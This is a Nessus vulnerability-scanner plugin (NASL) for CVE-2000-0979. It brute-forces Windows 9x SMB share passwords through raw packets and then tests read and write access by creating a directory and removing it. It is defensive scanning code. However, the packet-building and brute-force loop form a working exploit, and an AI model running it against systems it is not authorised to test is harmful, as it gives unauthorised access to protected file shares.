# # This script was written by Renaud Deraison # # See the Nessus Scripts License for details # # # Some fun functions # if(description) { script_id(10524); script_cve_id("CVE-2000-0979"); script_bugtraq_id(1780); script_version ("$Revision$"); name["english"] = "SMB Windows9x password verification vulnerability"; name["francais"] = "SMB Windows9x password verification vulnerability"; script_name(english:name["english"], francais:name["francais"]); desc["english"] = " A vulnerability exists in the password verification scheme utilized by Microsoft Windows 9x SMB protocol implementation. This vulnerability will allow any user to access the Windows 9x file shared service with password protection. Potential attackers don't have to know the share password. See also : http://www.securiteam.com/windowsntfocus/Microsoft_Windows_9x_NETBIOS_password_verification_vulnerability.html Solution : See http://www.microsoft.com/technet/security/bulletin/ms00-072.asp Risk factor : High"; desc["francais"] = " Il y a une vulnérabilité dans l'implémentation de la méthode de vérification de mots de passes utilisé par Microsoft dans l'implémentation SMB de Windows9x. Cette vulnérabilité permet à n'importe qui d'acceder a des services partagés Windows9x normallement protégés par mot de passe. Des pirates n'ont pas besoin de connaitre celui-ci, il peuvent mener une attaque par force brute en 256 essais. Ce plugin essaye d'accéder aux shares distantes en utilisant un mot de passe de 1 byte. Cf: http://www.securiteam.com/windowsntfocus/Microsoft_Windows_9x_NETBIOS_password_verification_vulnerability.html Solution : cf http://www.microsoft.com/technet/security/bulletin/ms00-072.asp Facteur de risque : Elevé"; script_description(english:desc["english"], francais:desc["francais"]); summary["english"] = "Access a remote share by brute forcing its password"; summary["francais"] = "Accède à une share en forcant son mot de passe"; script_summary(english:summary["english"], francais:summary["francais"]); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison"); family["english"] = "Windows"; script_family(english:family["english"]); script_dependencies("netbios_name_get.nasl", "smb_login.nasl", "smb_enum_shares.nasl", "smb_login_as_users.nasl"); script_require_keys("SMB/name", "SMB/login", "SMB/password"); script_exclude_keys("SMB/WindowsVersion","SMB/samba"); # only for Win9x script_require_ports(139); script_timeout(0); exit(0); } include("smb_nt.inc"); samba = get_kb_item("SMB/samba"); if(samba)exit(0); port = kb_smb_transport(); if(!port)port = 139; # # connection to the remote IPC share # function smb_tconx1(soc,name,uid, share, pass) { high = uid / 256; low = uid % 256; len = 48 + strlen(name) + strlen(share) + 3; ulen = 5 + strlen(name) + strlen(share) + 3; req = raw_string(0x00, 0x00, 0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high, 0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, ulen, 0x00, pass, 0x5C, 0x5C) + name + raw_string(0x5C) + share +raw_string(0x00) + "A:" + raw_string(0x00); send(socket:soc, data:req); r = smb_recv(socket:soc, length:1024); if(!r)return(FALSE); if(ord(r[9])==0)return(r); else return(FALSE); } # # Get the listing for \* using a TRANS2_FIND2_FIRST function # function readable_share(soc, uid, tid) { tid_lo = tid % 256; tid_hi = tid / 256; uid_lo = uid % 256; uid_hi = uid / 256; req = raw_string(0x00, 0x00, 0x00, 0x53, 0xFF, 0x53, 0x4D, 0x42, 0x32, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, 0x00, 0x00, 0x0F, 0x0F, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x04, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x44, 0x00, 0x00, 0x00, 0x53, 0x00, 0x01, 0x00, 0x01, 0x00, 0x12, 0x00, 0x00, 0x44, 0x20, 0x16, 0x00, 0x00, 0x02, 0x0E, 0x00, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x5C, 0x2A, 0x00); send(socket:soc, data:req); r = smb_recv(socket:soc, length:4096); if(ord(r[9])) { if((ord(r[11]) == 5) && (ord(r[12])==0)) { return(FALSE); } else return("unknown error"); } else return("OK"); } # # Create a directory on the remote host to determine if the # share is writeable or not # function writeable_share(soc, tid, uid) { tid_lo = tid % 256; tid_hi = tid / 256; uid_lo = uid % 256; uid_hi = uid / 256; randstr = string(rand()%10, rand()%10, rand()%10, rand()%10); req = raw_string(0x00, 0x00, 0x00, 0x30, 0xFF, 0x53, 0x4D, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x04, 0x5C) + "Nessus" + randstr + raw_string(0x00); send(socket:soc, data:req); r = smb_recv(socket:soc, length:1024); if(ord(r[9])) { if((ord(r[11]) == 5) && (ord(r[12])==0)) { return(FALSE); } else return("unknown error"); } else { # The dir was created. We delete it before we return req = raw_string(0x00, 0x00, 0x00, 0x30, 0xFF, 0x53, 0x4D, 0x42, 0x01, 0x00, 0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_lo, tid_hi, 0x00, 0x28, uid_lo, uid_hi, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x04, 0x5C) + "Nessus" + randstr + raw_string(0x00); send(socket:soc, data:req); r = smb_recv(socket:soc, length:8192); return("OK"); } } function accessible_share(share) { soc = open_sock_tcp(port); if(soc) { r = smb_session_request(soc:soc, remote:name); if(!r)return(FALSE); # # Negociate the protocol # prot = smb_neg_prot(soc:soc); if(!prot)exit(0); # # Set up our session # r = smb_session_setup(soc:soc, login:login, password:pass, prot:prot); if(!r)return(FALSE); # and extract our uid uid = session_extract_uid(reply:r); access = " - ("; c = 0; # # Brute force the password # for(i=0;i<256;i=i+1) { r = smb_tconx1(soc:soc, name:name, uid:uid, share:share, pass:i); if(r){ pass = i; if(i == 0)exit(0); # No password i = 2000; } } if(r) { tid = tconx_extract_tid(reply:r); readable = readable_share(soc:soc, uid:uid, tid:tid); if(readable){ if(readable == "unknown error")access = access + "readable?"; else access = access + "readable"; c = c + 1; } writeable = writeable_share(soc:soc, uid:uid, tid:tid); if(writeable){ if(access)access = access + ", "; c = c + 1; if(writeable == "unknown error")access = access + "writeable?"; else access = access + "writeable"; } close(soc); access = access + ")"; access = access + " using the first letter of the password - " + hex(pass); if(c)return(access); else return(FALSE); } else close(soc); } return(FALSE); } # # Here we go # name = kb_smb_name(); if(!name)exit(0); login = "*"; pass =""; domain = ""; if(!get_port_state(port))exit(0); count = 1; shares = get_kb_list("SMB/shares"); if(isnull(shares))exit(0); shares = make_list(shares); run = 1; vuln = ""; foreach share (shares) { if(share != "IPC$") { accs = accessible_share(share:share); if(accs) { security_hole(port); exit(0); } } }